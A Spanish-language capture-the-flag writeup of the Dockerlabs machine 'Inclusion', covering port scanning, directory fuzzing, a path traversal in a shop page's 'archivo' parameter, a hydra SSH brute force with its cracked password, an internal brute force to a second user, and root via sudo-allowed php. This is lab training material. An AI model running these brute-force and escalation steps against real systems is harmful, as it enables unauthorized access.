Page cover

🟠Inclusion

En esta ocasión vamos a hacer el writeup de la máquina Inclusion de Dockerlabs, una máquina Linux de dificultad Medium.

Despliegue

Esta máquina la he desplegado desde la máquina Big Pivoting, por lo que la dirección IP puede variar respecto a la máquina original.

sudo bash auto_deploy.sh inclusion.tar
[sudo] contraseña para kali: 

	                   ##        .         
	             ## ## ##       ==         
	          ## ## ## ##      ===         
	      /""""""""""""""""\___/ ===       
	 ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
	      \______ o          __/           
	        \    \        __/            
	         \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         

Máquina desplegada desde inclusion.tar, sus direcciones IP son --> 10.10.10.2 20.20.20.2

Primer acceso

Accedemos a la IP 10.10.10.2 a través del navegador y entramos a la página de configuración de un servidor Apache:

Escaneo de puertos

sudo nmap -v -sV -sCV -A -Pn 10.10.10.2    
[sudo] contraseña para kali: 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-02 14:51 CEST

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 03:cf:72:54:de:54:ae:cd:2a:16:58:6b:8a:f5:52:dc (ECDSA)
|_  256 13:bb:c2:12:f5:97:30:a1:49:c7:f9:d0:ba:d0:5e:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.57 (Debian)

Solo encontramos 2 puertos abiertos, el 22 y el 80, los típicos.

Fuzzing

Haciendo fuzzing con dirsearch nos encontramos un directorio /shop interesante:

dirsearch -u http://10.10.10.2 -x 403,404

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/http_10.10.10.2/_24-10-02_14-59-20.txt

Target: http://10.10.10.2/

[14:59:20] Starting: 
[15:00:29] 301 -  307B  - /shop  ->  http://10.10.10.2/shop/

Task Completed

Nos encontramos con una tienda de teclados, en la que se imprime en el front un error de sistema:

Esto nos dice que se está usando un parámetro llamado archivo en la url para pasarle un valor e incluir un archivo en la web y es un indicativo de que podríamos realizar un directory traversal, por ejemplo para leer el passwd:

Encontramos 3 usuarios con shell: root, seller y manchi.

Con esto podríamos hacer fuerza bruta para intentar acceder por SSH, ya que tiene también el puerto 22 abierto.

Bruteforce de SSH

afsh4ck@kali$ hydra -l manchi -P /usr/share/wordlists/rockyou.txt.gz -f 10.10.10.2 ssh 
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-02 16:04:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.10.10.2:22/
[22][ssh] host: 10.10.10.2   login: manchi   password: lovely
[STATUS] attack finished for 10.10.10.2 (valid pair found)

Obtenemos una contraseña válida y accedemos por SSH:

manchi@82fd2b03db42:/home$ ls                                                                                 
manchi  seller
manchi@82fd2b03db42:/home$ cd seller/                                                                         
-bash: cd: seller/: Permission denied

En el directorio home de manchi no encontramos nada relevante, por lo que vamos a pivotar al usuario seller, a ver si conseguimos algo interesante, ya que el usuario manchi tampoco tiene permisos de ejeccución en la máquina.

Para ello vamos a usar este script para hacer un bruteforce interno:

Nos copiamos el raw del ejecutable y con nano lo guardamos en la máquina objetivo, para evitar descargarlo en nuestra máquina de atacante y enviarlo.

También nos enviamos una versión reducida del diccionario rockyou, como el rockyou-20.txt de Seclists. Ejecutamos el script y nos da la contraseña del usuario seller: querty

Cambiar al usuario seller

Accedemos correctamente como el usuario seller. Desde aquí vamos a ver otras vias para elevar nuestros privilegios.

Escalada de privilegios

Vamos a elevar nuestros privilegios. En la home de seller encontramos el historial de la terminal, y al leerlo vemos que ha ejecutado sudo -l para ver los permisos de ejecución.

Hacemos un sudo -l y observamos que este usuario seller puede ejecutar php libremente:

Podemos consultar GTFOBins para ver que podemos hacer en este punto, y nos encontramos una forma de elevar nuestros privilegios con php:

Y ya somos root!

Última actualización

¿Te fue útil?